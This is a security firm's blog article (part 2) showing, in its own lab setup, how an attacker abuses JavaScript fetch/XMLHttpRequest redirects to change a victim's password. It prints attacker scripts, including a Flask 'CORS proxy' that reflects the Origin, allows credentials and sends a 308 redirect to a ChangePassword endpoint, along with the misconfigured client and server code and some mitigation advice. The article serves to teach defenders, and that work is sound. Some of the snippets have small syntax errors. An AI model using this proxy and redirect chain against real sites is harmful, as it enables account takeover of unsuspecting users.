Understanding How Attackers Exploit HTTP Redirects in Web Applications [Part 2]

Igor Kantor
Author
Igor Kantor
Co-founder, CEO
Understanding How Attackers Exploit HTTP Redirects in Web Applications [Part 2]

This article is a continuation of the first part, which examined the use of HTTP redirects in attacks. The previous section highlighted security mechanisms such as Same Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), and the SameSite attribute, with a focus on redirecting HTTP form requests. 

In this section, the focus shifts to the redirection of requests initiated by JavaScript, specifically using Fetch and XMLHttpRequests. We will explore the potential vulnerabilities and misconfigurations that attackers can exploit in these scenarios, providing detailed examples and analyses of how such attacks can be executed and mitigated from the experience of Iterasec specialists. All examples are demonstrated using a controlled environment designed for educational purposes. We do not encourage testing these techniques on real products without proper authorization.

We will maintain our example application, featuring two interacting applications, to illustrate these concepts. Here’s a reminder of the communication setup between these applications:

HTTP redirects

The implemented changes

To enhance the security of our applications, several design and configuration adjustments have been made. Firstly, the CORS configuration on the server side of the applications has been fine-tuned. The Comments application is set up to accept communications exclusively from the Articles application. Thus, HTTP requests initiated by JavaScript in the user’s browser, with an Origin set to https://4rt1cl3s.fun, should seamlessly connect to the https://soc1al.fun resource.


XMLHttpRequests

Additionally, an authentication mechanism has been implemented, ensuring that only users with valid credentials can interact with the Comments application. 

JavaScript-based HTTP redirect exploits

When a user accesses the ViewArticle page, the Articles application generates a JWT token containing the user’s data, signed by a private key. All user communications with the Comments application include this signed JWT token, which the Comments application verifies before processing the request.

Contact our experts to get advice on the best cybersecurity strategy for your company.

The mistakes in implementation / misconfigurations

Despite these improvements, some critical mistakes were made during the implementation. The first error involves setting the “credentials” parameter to “include” in the Fetch request. This setting is unnecessary when manually setting the “Authorization” header in the HTTP request via JavaScript, as it primarily deals with browser-handled authorization (e.g., cookies). This misconfiguration inadvertently made the redirection attack feasible.


Same Origin Policy (SOP)

Another common mistake was leaving the testing CORS configuration in the Articles application.


Fetch and XMLHttpRequest implementations

Redirecting the requests initiated by JavaScript

Let’s discuss the Fetch and XMLHttpRequest implementations. Although the example uses Fetch, it can be reproduced with XMLHttpRequest.

The attack scenario involves:

  1. Changing the Base API URL: An attacker exploits a vulnerability in the article web application by changing the base API URL for a user.
  2. Crafting a 308 HTTP Redirect: When the victim makes a request to the attacker’s resource, it redirects them back to the article’s application for another action.

The victim uses the Chrome browser, while the attacker utilizes the Safari web browser. To see a bigger picture the network traffic from the victim’s browser is proxied through the Burp Suite.


XMLHttpRequest implementation

It sounds identical to the scenario shown in the Forms example. However, as things go you will notice several important differences. So, the attacker changes the base API url for the user with id equal to “2”. A new base API url points to the attacker controlled resource redirect-test.free.beeceptor.com. The attacker utilizes the following Python script:

import requests

url = 'https://4rt1cl3s.fun/RedirectTest/Accounts/ChangeBaseApiURL'

request_data = {
    'Id': 2,
    'NewBaseApiUrl': 'redirect-test.free.beeceptor.com'
}

headers = {
    'Content-Type': 'application/json'
} 

response = requests.post(url, json=request_data, headers=headers)   

if response.status_code == 200:
    print("Request was successful.")
    print("Response Content:", response.content)
else:
    print(f"Request failed with status code {response.status_code}")
    print("Response Content:", response.content)

The victim visits the article view page which looks identical to the page shown in the Forms example. However, pay attention to the URL in the browser’s search bar and the implementation of the POST request. This is what happens when the user tries to post a comment:

The CORS mechanism

The CORS mechanism worked as expected and prevented the actual POST request to the attacker-controlled resource. Let’s take a closer look what happened by analyzing the Burp logs:


the actual HTTP request

Because the actual HTTP request that sends the comment is a POST request with few additional non-standard request headers (Authorization and Content-Type set to application/json) this request does not fall under the category of Simple CORS request. According to the CORS rules, the victim’s browser performs HTTP OPTIONS request at first. The attacker’s mock server even responded with HTTP 200 OK, however the follow-up HTTP POST request did not happen and the victim’s browser console showed the error:

the follow-up HTTP POST request


The victim’s browser did not perform the follow-up HTTP POST request because the attacker’s mock server responded with the Access-Control-Allow-Origin: *. It means that a browser can visit this resource from any Origin. But when a browser sees the wildcard in the Access-Control-Allow-Origin header it will not send the credentials resulting in a failed CORS check. So, “credentials” parameter in the Fetch function call set to “include” helped here.   

However, there is a way to bypass it which has the name of CORS proxy:

CORS proxy

The concept behind this CORS Proxy involves accepting the preflight HTTP OPTIONS request, extracting the Origin value, and responding with an HTTP 200 OK status. This response includes the appropriate Access-Control-Allow-Origin header along with the Access-Control-Allow-Credentials header.

The attack failed using the Beeceptor as the mock server because it is a public tool, and it is configured to accept HTTP requests from any Origin. Such configuration does not combine with the Access-Control-Allow-Credentials header. 

Code of the cors proxy server:

from flask import Flask, request, jsonify, make_response

app = Flask(__name__)

fake_comments = 
[{"id":100,"articleId":2,"authorId":1,"authorNickname":"h4ck31)", "authorProfileImageName":"default.png","postDateTime":"2024-01-09T21:46:25.1582034",
"content":"Non existing comment"}]

@app.route('/Social/CommentsJs/GetComments', methods=['OPTIONS'])

def handle_get_options():
    origin = request.headers.get('Origin')
    response = make_response("Good to go!",200)
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

@app.route('/Social/CommentsJs/GetComments', methods=['GET']
def handle_get():
    origin = request.headers.get('Origin')
    response = make_response(jsonify(fake_comments), 200)
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

@app.route('/Social/CommentsJs/PostComment', methods=['OPTIONS'])
def handle_options():
    origin = request.headers.get('Origin')
    print(origin)
    response = make_response("Good to go!",200)
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response 

@app.route('/Social/CommentsJs/PostComment', methods=['POST'])
def handle_post():
    origin = request.headers.get('Origin')
    data = request.json
    print(data)
    response = make_response("Hacked!", 308)
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    response.headers['Location'] = 'https://4rt1cl3s.fun/RedirectTest/ProfileAPI/ChangePassword'
    return response
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

Taking into consideration previously mentioned factors the attacker needs to readjust its strategy. The attacker’s mock server needs to have a cors proxy logic implemented. 

At this point the attacker spins up the CORS proxy server on the https://cors-proxy.fun domain. Using the following Python script the attacker changes the base API url of the victim once again:

import requests

url = 'https://4rt1cl3s.fun/RedirectTest/Accounts/ChangeBaseApiURL' 

request_data = {
    'Id': 2,
    'NewBaseApiUrl': 'cors-proxy.fun'
}

headers = {
    'Content-Type': 'application/json'
}

response = requests.post(url, json=request_data, headers=headers)
    
if response.status_code == 200:
    print("Request was successful.")
    print("Response Content:", response.content)
else:
    print(f"Request failed with status code {response.status_code}")
    print("Response Content:", response.content)


When the victims visits the view article page now it points to the cors-proxy.fun domain. The following demonstrates what happens if the user tries to post a new comment for the article:

 

How Attackers Exploit HTTP Redirects
The fake comment “Non existing comment” from the h4ck31) user in this case is used for the indication that the CORS proxy works as intended. In the real-life scenario the attacker would not do that.

When the victim sends the comment its browser initiates the HTTP OPTIONS request to the cors-proxy.fun mock server:


HTTP options

The cors proxy server reflects the Origin value found in the OPTIONS request and sets the Access-Control-Allow-Credentials to true. This way it allows the follow-up HTTP POST request to happen.

the follow-up HTTP POST request

Here is the actual HTTP Post request with the json data. Here the mock server redirects the victim’s browser back to the 4rt1cl3s.fun domain. 

HTTP Post request with the json data

After being redirected, the victim’s browser attempts to perform a POST request to the https://4rt1cl3s.fun/RedirectTest/ProfileAPI/ChangePassword endpoint but encounters a significant issue. The browser initially started the procedure of posting the comment from the 4rt1cl3s.fun Origin. However, after the redirection, its Origin became null. Consequently, the request to change the password is considered a cross-origin request, prompting the victim’s browser to perform a preflight OPTIONS request.

Despite this, the previously mentioned misconfigured CORS policy on the Articles application side permits the request to proceed.


misconfigured CORS policy

As a result, the victim successfully changes the password. The following image demonstrates authorization in the Articles application using the new password:

Fetch and XMLHttpRequest Redirection specifics

Fetch and XMLHttpRequest Redirection specifics and limitations

The usage of JavaScript when communicating with third party APIs is more common than usage of Forms. However, running such an attack will require more misconfigurations that are out of the attacker’s control compared to the example with Forms redirection. The scenario outlined may seem unlikely, but it is still possible.

The first thing is the “credentials” parameter. This example contains the JavaScript (Both Fetch and XMLHttpRequest) that sends the credentials along with the data (Views/ArticlesJs/ViewArticle.cshtml):

 fetch("@Configuration["Protocol"]://@ViewBag.BaseUrl/Social/CommentsJs/PostComment", 
            method: "POST",
            credentials:"include",
            headers: {
                "Authorization":"Bearer " + jwt_token,
                "Content-Type": "application/json"
            },
            body: json_string
        }).then(response => {
            if (response.ok) {
                getComments();
            }
        });


And here is the example with XMLHttpRequest (Views/ArticlesXMLHttp/ViewArticle.cshtml):

const xhr = new XMLHttpRequest();
        xhr.open("POST", "@Configuration["Protocol"]://@ViewBag.BaseUrl/Social/CommentsJs/PostComment", true);
        xhr.withCredentials = true;
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.setRequestHeader("Authorization", "Bearer " + jwt_token);
        xhr.onreadystatechange = () => {
            if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
                getComments();
            }
        };

        xhr.onerror = function (error) {
            alert(error);
        }

        xhr.send(json_string);


Without this parameter, the final step – when the victim attempts to perform the change password HTTP call – would fail, as the victim’s browser would not send the Cookies associated with the Articles application.

After being redirected the victim’s browser makes the following request with the null Origin, such a request becomes a cross-origin request so there should be a specific misconfiguration on the server side of the Articles application that allows processing the request with null origin and with credentials. This CORS configuration is located at the Startup.cs class:

builder.Services.AddCors(options =>
            {
                options.AddPolicy("MyTestPolicy", builder =>
                {
                    builder.WithOrigins("null");
                    builder.AllowCredentials();
                    builder.AllowAnyHeader();
                });
            });
….

….

app.UseCors("MyTestPolicy")

Without this misconfiguration in the Articles application’s CORS policy, the victim would not be able to send the change password request because the Articles application would not permit it.

Additionally, the attacker needs to target an endpoint with matching transmitted fields. The success of such request redirection heavily depends on the backend technology, model binding implementation, and content-type formatters.

 the Articles application’s CORS policy

Chromium browser behavior

The Chromium web browser that refused to send Cookie during the Form redirection attack this time sent them correctly. The SameSite attribute set to Lax value has not prevented the victim from sending the change password request with the Cookies included. 

Conclusion

In this two-part article, we have explored the standard WEB mechanisms in combination with typical misconfigurations vulnerabilities associated with HTTP redirects in web applications. The first part focused on redirects involving HTTP forms, while this second part delved into the complexities of JavaScript-initiated redirects using Fetch and XMLHttpRequests. By examining the potential misconfigurations and attack vectors, we highlighted how attackers can exploit these vulnerabilities to compromise security mechanisms such as Same Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), and the SameSite attribute.

Understanding these threats is crucial for securing web applications. Developers must ensure proper configuration of CORS policies, avoid unnecessary inclusion of credentials, and be vigilant about potential endpoint vulnerabilities.

For expert assistance in securing your applications against these and other threats, contact the Iterasec team. Our cybersecurity professionals are ready to help you strengthen your defenses and protect your digital assets.

FAQ

HTTP Redirect Exploits occur when attackers manipulate HTTP redirects to reroute user requests to malicious destinations. This can lead to unauthorized actions, data breaches, and compromised user credentials. In web applications, such exploits can undermine security mechanisms like the Same Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS), making it crucial to understand and mitigate these vulnerabilities.

Attackers exploit vulnerabilities by intercepting or manipulating JavaScript-initiated requests made through Fetch or XMLHttpRequest. By changing parameters or misusing redirects, they can trick the browser into sending authenticated requests to malicious endpoints. This is often achieved by exploiting misconfigurations in CORS policies or by improperly setting the credentials parameter, allowing them to bypass standard security controls.

CORS policies determine which origins are permitted to access resources on a server, playing a critical role in enforcing the Same Origin Policy. The credentials parameter in Fetch (credentials: 'include') and XMLHttpRequest (withCredentials: true) dictates whether cookies and authentication headers are sent with requests. Misconfigurations in these areas can allow attackers to perform cross-origin requests with user credentials, facilitating HTTP Redirect Exploits.

Common misconfigurations include: 1. Improper CORS Settings: Using wildcard origins (*) in Access-Control-Allow-Origin headers along with Access-Control-Allow-Credentials: true can inadvertently allow cross-origin requests with credentials. 2. Unnecessary Inclusion of Credentials: Setting the credentials parameter to include in Fetch requests when it's not needed can expose user credentials during redirects. 3. Leaving Test Configurations in Production: Failing to remove or update testing configurations can leave applications open to exploitation through known vulnerabilities.

Contact us

Please tell us what are you looking for and we will happily support you in that.

Fell free to use our contact form or contact us directly.